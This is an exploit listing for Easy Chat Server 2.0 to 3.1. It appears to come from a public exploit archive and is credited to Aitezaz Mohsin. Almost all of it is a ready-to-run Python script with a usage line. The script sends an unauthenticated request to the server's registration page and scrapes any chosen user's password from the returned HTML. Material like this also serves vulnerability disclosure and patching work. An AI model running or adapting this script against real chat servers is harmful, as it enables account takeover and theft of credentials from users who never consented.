Easy Chat Server 3.1 Password Disclosure

`# Exploit Title: Easy Chat Server Remote Password Disclosure  
# Date: 09/10/2017  
# Software Link: http://echatserver.com/ecssetup.exe  
# Exploit Author: Aitezaz Mohsin  
# Vulnerable Version: v2.0 to v3.1  
# Vulnerability Type: Pre-Auth Remote Password Disclosure  
# Severity: Critical  
  
# =========================================================================================================  
# Registeration page 'register.ghp' allows disclosing ANY user's password.  
# Remote un-authenticated attackers can send HTTP GET requests to obtain ANY Easy Chat Server user password.  
# =========================================================================================================  
  
# USAGE: python exploit.py ip username  
  
#!/usr/bin/python  
  
import urllib  
import re  
import requests  
import sys  
  
ip = sys.argv[1]  
username = sys.argv[2]  
  
url = 'http://' + ip + '/register.ghp?username=' + username + '&password='  
response = requests.get(url)  
html = response.content  
  
pattern = '<INPUT type="password" name="Password" maxlength="30" value="(.+?)">'  
result = re.compile(pattern)  
  
password = re.findall(result,html)  
  
x = ''.join(password)  
  
password = x.replace("[", "")  
password = x.replace("]", "")  
  
print "Password: " + password  
`